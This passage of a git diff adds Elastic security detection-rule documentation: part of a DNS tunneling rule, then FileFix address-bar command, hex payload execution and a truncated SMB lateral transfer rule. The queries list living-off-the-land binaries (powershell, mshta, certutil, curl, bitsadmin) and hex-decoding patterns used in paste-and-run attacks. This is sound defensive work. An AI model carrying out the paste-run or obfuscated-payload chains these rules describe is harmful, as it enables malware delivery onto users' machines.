+ or (Esql.dns_question_type == "txt" and Esql.question_name_length > 100) + ) +| eval + Esql.long_subdomain_query_name = CASE( + Esql.subdomain_length >= 50, + Esql.dns_question_name, + null + ), + Esql.null_query_name = CASE( + Esql.dns_question_type == "null", + Esql.dns_question_name, + null + ), + Esql.long_txt_query_name = CASE( + Esql.dns_question_type == "txt" and Esql.question_name_length > 100, + Esql.dns_question_name, + null + ) +| eval Esql.time_window = DATE_TRUNC(5 minutes, @timestamp) +| stats + Esql.total_qualifying_queries = COUNT(*), + Esql.count_queries = COUNT(Esql.long_subdomain_query_name), + Esql.count_distinct_names = COUNT_DISTINCT(Esql.long_subdomain_query_name), + Esql.null_query_count = COUNT(Esql.null_query_name), + Esql.null_distinct_names = COUNT_DISTINCT(Esql.null_query_name), + Esql.long_txt_query_count = COUNT(Esql.long_txt_query_name), + Esql.long_txt_distinct_names = COUNT_DISTINCT(Esql.long_txt_query_name), + Esql.max_question_name_length = MAX(Esql.question_name_length), + Esql.avg_question_name_length = AVG(Esql.question_name_length), + Esql.max_subdomain_length = MAX(Esql.subdomain_length), + Esql.avg_subdomain_length = AVG(Esql.subdomain_length), + Esql.dns_question_type_values = MV_SLICE(VALUES(Esql.dns_question_type), 0, 9), + Esql.destination_ip_values = MV_SLICE(VALUES(destination.ip), 0, 4), + Esql.sample_names = MV_SLICE(VALUES(Esql.dns_question_name), 0, 4), + Esql.dataset_values = MV_SLICE(VALUES(Esql.dataset), 0, 9), + Esql.observer_name_values = MV_SLICE(VALUES(observer.name), 0, 19), + Esql.first_seen = MIN(@timestamp), + Esql.last_seen = MAX(@timestamp) + by Esql.time_window, Esql.client_ip, Esql.dns_registered_domain +| eval Esql.unique_name_ratio = CASE( + Esql.count_queries > 0, + TO_DOUBLE(Esql.count_distinct_names) / Esql.count_queries, + null + ) +| where + ( + Esql.count_queries >= 25 + and Esql.count_distinct_names >= 15 + ) + or ( + Esql.null_query_count >= 3 + and Esql.null_distinct_names >= 2 + ) + or ( + Esql.long_txt_query_count >= 5 + and Esql.long_txt_distinct_names >= 5 + ) +| keep Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Sub-technique: +** Name: Exfiltration Over Unencrypted Non-C2 Protocol +** ID: T1048.003 +** Reference URL: https://attack.mitre.org/techniques/T1048/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-filefix-command-via-windows-explorer-address-bar.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-filefix-command-via-windows-explorer-address-bar.asciidoc new file mode 100644 index 0000000000..4e849b1b08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-filefix-command-via-windows-explorer-address-bar.asciidoc @@ -0,0 +1,286 @@ +[[prebuilt-rule-8-19-36-potential-filefix-command-via-windows-explorer-address-bar]] +=== Potential FileFix Command via Windows Explorer Address Bar + +Identifies suspicious commands written to the Windows Explorer address bar history (TypedPaths). Adversaries socially engineer users to paste a command into the address bar of File Explorer or of a browser's file upload dialog, a pattern known as FileFix; the writing process is therefore explorer.exe or the browser hosting the dialog. Stored commands that invoke PowerShell, cmd, mshta, msiexec, rundll32, or another living-off-the-land binary are unusual for this key, which normally contains file and folder paths. Investigate the process tree for a child of the writing process that matches the stored command. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://mrd0x.com/filefix-clickfix-alternative/ +* https://www.elastic.co/security-labs/threat-command/telepuz-maas-malware-clickfix +* https://www.elastic.co/security-labs/threat-command/mimicrat-custom-rat-mimics-c2-frameworks + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Tactic: Initial Access +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Threat: ClickFix +* Threat: Living off the Land +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential FileFix Command via Windows Explorer Address Bar* + + + +*Possible investigation steps* + + +- What command was stored in the Explorer address bar history? + - Why: TypedPaths records the string submitted through the File Explorer address bar. FileFix pages instruct the victim to paste that string, often padding it so the visible end looks like a document path while the command sits at the front. + - Focus: `registry.data.strings` and `registry.path`. + - Implication: escalate when the string invokes PowerShell, pwsh, cmd, mshta, msiexec, rundll32, curl, wget, certutil, certreq, bitsadmin, wscript, cscript, conhost, or forfiles. A quiet local install such as msiexec with `/q`, `/qb`, or `/qn` against a user-profile or Downloads package is the same pattern. Lower suspicion only when the string is a real folder path from a recognized workflow and contains no command switches, URL, or shell operator. + +- Did the writing process launch a child that matches the stored command? + - Why: the alerting process is whichever process hosted the address bar: explorer.exe for File Explorer, or chrome.exe, msedge.exe, or firefox.exe for a file upload dialog. The pasted command runs as a child of that process. + - Focus: child process starts where `process.parent.entity_id` equals the alert `process.entity_id`. Compare child `process.name`, `process.executable`, and `process.command_line` with `registry.data.strings`. + - Implication: escalate when a child shell, script host, installer, or living-off-the-land binary matches the TypedPaths string. A browser as the writer is the expected FileFix shape, not an anomaly. No matching child leaves execution unproven. + +- What did that child do next? + - Focus: descendants of the recovered child `process.entity_id`, plus file and network events scoped to that child. Review `process.command_line`, `file.path`, `dns.question.name`, and `destination.ip`. + - Hint: if the child entity id is absent, fall back to `host.id` plus the child `process.pid` in a tight window. Missing file or network telemetry leaves those questions unresolved. + - Implication: escalate when the child retrieves a payload, writes a script or executable under a user-writable path, installs a package, spawns further shells, or contacts an unusual destination. + +- Does the user and host context fit a planned paste-and-run action? + - Focus: `user.id`, `user.name`, `host.id`, and `host.name`, plus browser, chat, or mail activity just before the TypedPaths write. The decoy path at the end of `registry.data.strings` is the file the page told the user to open. + - Implication: escalate when an end-user host has no change window for the command. A lab or awareness exercise is lower suspicion only when the command, user, and host all match that exercise. + +- Escalate when the TypedPaths command shows a living-off-the-land binary, a quiet installer, download, decode, or hidden execution, and the process tree, artifacts, destinations, or related alerts support execution. Close only when the stored command, launched child, user, and host bind to one authorized simulation or lab workflow with no contradiction. If evidence is mixed or visibility is incomplete, preserve evidence and escalate. + + +*False positive analysis* + + +- Security-awareness, phishing-simulation, red-team, and malware-analysis labs can paste these commands into the File Explorer address bar. Confirm one workflow: the `registry.data.strings` value, the expected child `process.executable` and `process.command_line`, and a bounded `user.id` / `host.id`, with recovered children and destinations inside the exercise. +- Administrators sometimes launch a signed installer or diagnostic through the address bar. Close only when the stored command and child process are that exact tool, with no download cradle, encoded command, hidden window, or second-stage child. +- A typed folder path can contain a tool name followed by a space, such as a directory named "powershell scripts". Close only when the full string is that directory, the user opened it, and no child process matches a command in the string. +- Before an exception, require the same `registry.data.strings` fragment, `user.id`, and `host.id` across prior alerts from this rule. Avoid exceptions on the writing process.name, the TypedPaths path, or `user.name` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse temporary containment and record the command, child identity, `user.id`, and `host.id` that proved the workflow. Create an exception only when that exact workflow recurs. +- If suspicious but unconfirmed, export the registry event, `registry.data.strings`, the explorer `process.entity_id`, and the child process tree, command lines, file paths, and destinations before cleanup. Apply reversible controls first, such as temporary destination blocks, a browser-session reset, or heightened monitoring. Isolate the host when retrieval, package installation, or second-stage execution makes continued connectivity risky. +- If confirmed malicious, isolate the host, then terminate the child process and suspicious descendants after recording identifiers. Remove staged scripts, installers, archives, and payloads, and block confirmed domains, IPs, hashes, or URLs. Reset credentials only when the investigation shows account misuse. +- Post-incident hardening: retain registry and process telemetry for Explorer address bar triage, review browser and paste-execution controls, and record the lure wording and paste-run chain in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.registry-*, logs-windows.sysmon_operational-*, winlogbeat-*, + logs-windows.forwarded-*, logs-m365_defender.event-*, logs-sentinel_one_cloud_funnel.*, + logs-crowdstrike.fdr* metadata _id, _version, _index +| where KQL(""" host.os.type : "windows" AND event.category:"registry" AND event.type : ("creation" or "change") """) + and registry.data.strings is not null + and ( + to_lower(registry.path) like """hkey_users\\*\\software\\microsoft\\windows\\currentversion\\explorer\\typedpaths\\*""" + or to_lower(registry.path) like """\\registry\\user\\*\\software\\microsoft\\windows\\currentversion\\explorer\\typedpaths\\*""" + or to_lower(registry.path) like """hku\\*\\software\\microsoft\\windows\\currentversion\\explorer\\typedpaths\\*""" + or to_lower(registry.path) like """hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\typedpaths\\*""" + or to_lower(registry.path) like """hkey_current_user\\software\\microsoft\\windows\\currentversion\\explorer\\typedpaths\\*""" + ) +| eval registry_data = to_lower(mv_concat(registry.data.strings, " ")) +| where + // Command form only. A bare path to the binary, such as ...\\powershell.exe, does not match. + // PowerShell / PowerShell 7 + registry_data like "*powershell *" or + registry_data like "*powershell.exe *" or + registry_data like "*powershell.exe\" *" or + registry_data like "*pwsh *" or + registry_data like "*pwsh.exe *" or + registry_data like "*pwsh.exe\" *" or + // Mshta + registry_data like "*mshta *" or + registry_data like "*mshta.exe *" or + registry_data like "*mshta.exe\" *" or + // Msiexec, including a quiet local package such as msiexec /i "\\users\\...\\file.msi" /qb + registry_data like "*msiexec *" or + registry_data like "*msiexec.exe *" or + registry_data like "*msiexec.exe\" *" or + // Rundll32 + registry_data like "*rundll32 *" or + registry_data like "*rundll32.exe *" or + registry_data like "*rundll32.exe\" *" or + // Cmd. Require /c, /k, cmd.exe, or comspec so a folder name containing "cmd" does not match. + registry_data like "*cmd.exe *" or + registry_data like "*cmd.exe\" *" or + registry_data like "*cmd /c *" or + registry_data like "*cmd /k *" or + registry_data like "*cmd.exe /c *" or + registry_data like "*cmd* /d /c for /r*" or + registry_data like "*cmd* in (f_*" or + registry_data like "*%comspec%*" or + // Other living-off-the-land binaries used in FileFix and ClickFix paste chains + registry_data like "*curl *" or + registry_data like "*curl.exe *" or + registry_data like "*curl.exe\" *" or + registry_data like "*wget *" or + registry_data like "*wget.exe *" or + registry_data like "*wget.exe\" *" or + registry_data like "*certutil *" or + registry_data like "*certutil.exe *" or + registry_data like "*certutil.exe\" *" or + registry_data like "*certreq *" or + registry_data like "*certreq.exe *" or + registry_data like "*certreq.exe\" *" or + registry_data like "*bitsadmin *" or + registry_data like "*bitsadmin.exe *" or + registry_data like "*bitsadmin.exe\" *" or + registry_data like "*wscript *" or + registry_data like "*wscript.exe *" or + registry_data like "*wscript.exe\" *" or + registry_data like "*cscript *" or + registry_data like "*cscript.exe *" or + registry_data like "*cscript.exe\" *" or + registry_data like "*conhost *" or + registry_data like "*conhost.exe *" or + registry_data like "*conhost.exe\" *" or + registry_data like "*forfiles *" or + registry_data like "*forfiles.exe *" or + registry_data like "*forfiles.exe\" *" +| keep _id, _version, _index, data_stream.namespace, @timestamp, event.dataset, user.id, user.name, user.domain, host.id, host.name, agent.id, process.name, process.entity_id, process.executable, process.pid, registry.data.strings, registry.path, registry.value + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ +* Sub-technique: +** Name: Malicious Copy and Paste +** ID: T1204.004 +** Reference URL: https://attack.mitre.org/techniques/T1204/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: https://attack.mitre.org/techniques/T1105/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-command-line.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-command-line.asciidoc new file mode 100644 index 0000000000..74d4bd9590 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-command-line.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-36-potential-hex-payload-execution-via-command-line]] +=== Potential Hex Payload Execution via Command-Line + +This rule detects when a process executes a command line containing hexadecimal characters. Malware authors may use hexadecimal encoding to obfuscate their payload and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Auditd Manager +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hex Payload Execution via Command-Line* + + +In Linux environments, command-line interfaces are pivotal for executing processes and scripts. Adversaries exploit this by embedding payloads in hexadecimal format to obfuscate their actions, evading detection. The detection rule identifies processes with lengthy command lines containing multiple hex patterns, signaling potential obfuscation. This approach targets defense evasion tactics, leveraging Elastic Defend to flag suspicious executions. + + +*Possible investigation steps* + + +- Review the process.command_line field to identify the specific hexadecimal patterns and assess if they correspond to known malicious payloads or commands. +- Examine the process.parent.executable to determine the parent process that initiated the execution, which may provide context on whether the execution is expected or suspicious. +- Check the user account associated with the process execution to verify if the activity aligns with typical user behavior or if it indicates potential compromise. +- Investigate the host where the alert was triggered to identify any other related suspicious activities or anomalies that might indicate a broader compromise. +- Correlate the event with other logs or alerts from the same host or user to identify patterns or repeated attempts at obfuscation and execution. + + +*False positive analysis* + + +- Legitimate software installations or updates may use hexadecimal encoding in command lines for legitimate purposes. Users can create exceptions for known software update processes by identifying their parent executable paths and excluding them from the rule. +- System administration scripts or tools that utilize hexadecimal encoding for configuration or data processing might trigger the rule. Review and whitelist these scripts by verifying their source and purpose, then exclude them based on their command line patterns or parent processes. +- Security tools or monitoring software that perform regular scans or data collection using hexadecimal encoding could be flagged. Confirm these tools' legitimacy and add them to an exception list by specifying their executable paths or command line characteristics. +- Custom applications developed in-house that use hexadecimal encoding for data handling or communication may be mistakenly identified. Document these applications and exclude them by their unique command line signatures or parent process identifiers. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious execution. +- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as modified files or unauthorized user accounts. +- Remove any identified malicious files or scripts from the system to ensure the threat is eradicated. +- Restore the system from a known good backup if any critical system files or configurations have been altered. +- Update and patch the system to close any vulnerabilities that may have been exploited by the adversary. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and +process.parent.name != null and +process.command_line : "*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*" and +length(process.command_line) > 50 and +not process.name in ("snap", "printf", "sed") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-common-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-common-utility.asciidoc new file mode 100644 index 0000000000..67cd422491 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-hex-payload-execution-via-common-utility.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-36-potential-hex-payload-execution-via-common-utility]] +=== Potential Hex Payload Execution via Common Utility + +This rule detects potential hex payload execution on Linux systems. Adversaries may use hex encoding to obfuscate payloads and evade detection mechanisms. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Potential Hex Payload Execution via Common Utility* + + +Hex encoding is often used in Linux environments to obfuscate data, making it harder for security tools to detect malicious payloads. Adversaries exploit this by encoding their payloads in hex to bypass security measures. The detection rule identifies suspicious processes like `xxd`, `python`, `php`, and others that use hex-related functions, signaling potential obfuscation attempts. By monitoring these patterns, the rule helps uncover hidden threats. + + +*Possible investigation steps* + + +- Review the process details, including the process name and command line arguments, to confirm if the execution aligns with typical hex decoding or encoding activities. +- Check the parent process of the suspicious process to understand the context of how the process was initiated and whether it was expected or part of a legitimate workflow. +- Investigate the user account associated with the process execution to determine if the activity is consistent with the user's normal behavior or if the account may have been compromised. +- Examine the network activity associated with the process to identify any potential data exfiltration or communication with known malicious IP addresses. +- Look for any related file modifications or creations around the time of the process execution to identify if the decoded payload was written to disk or executed further. +- Cross-reference the alert with other security tools or logs, such as Crowdstrike or SentinelOne, to gather additional context or corroborating evidence of malicious activity. + + +*False positive analysis* + + +- Development and testing environments may frequently use hex encoding functions for legitimate purposes. To reduce noise, consider excluding processes running on known development servers from the rule. +- System administrators might use hex encoding tools like `xxd` for data conversion tasks. Identify and whitelist these routine administrative scripts to prevent false alerts. +- Automated scripts or applications that process data in hex format for encoding or decoding purposes can trigger this rule. Review and exclude these scripts if they are verified as non-malicious. +- Security tools or monitoring solutions themselves might use hex encoding for data analysis. Ensure these tools are recognized and excluded from triggering the rule. +- Regularly review and update the exclusion list to adapt to changes in the environment and ensure that only verified non-threatening behaviors are excluded. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of potentially malicious payloads. +- Terminate any suspicious processes identified by the detection rule, such as those involving `xxd`, `python`, `php`, `ruby`, `perl`, or `lua` with hex-related functions. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove any malicious payloads or remnants. +- Review and analyze system logs and process execution history to determine the scope of the compromise and identify any additional affected systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement additional monitoring on the affected system and network to detect any recurrence of similar obfuscation attempts. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +( + (process.name == "xxd" and process.args like ("-r*", "-p*")) or + (process.name like "python*" and process.command_line like "*fromhex*" and process.command_line like ("*decode*", "*encode*")) or + (process.name like "php*" and process.command_line like "*hex2bin*") or + (process.name like "ruby*" and process.command_line like "*].pack(\"H*\")*") or + (process.name like "perl*" and process.command_line like "*pack(\"H*\",*") or + (process.name like "lua*" and process.command_line like "*tonumber(cc, 16)*") +) and +not ( + // Vulnerability scanning tools scanning for xz-backdoor + process.command_line like ("*liblzma*", "*xz*") or + ?process.parent.args like ( + "/srv/acme/acme.sh", "/home/*/.acme.sh/acme.sh", "/opt/custom-nagios-plugins/check_rad_eap", + "/usr/bin/testssl", "./testssl.sh", "/root/.acme.sh/acme.sh" + ) or + ?process.parent.args like "printf*" or + ?process.working_directory == "/var/prtg/scriptsxml" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: Lua +** ID: T1059.011 +** Reference URL: https://attack.mitre.org/techniques/T1059/011/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-lateral-tool-transfer-via-smb-share.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-lateral-tool-transfer-via-smb-share.asciidoc new file mode 100644 index 0000000000..0fcebe1d4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-potential-lateral-tool-transfer-via-smb-share.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-36-potential-lateral-tool-transfer-via-smb-share]] +=== Potential Lateral Tool Transfer via SMB Share + 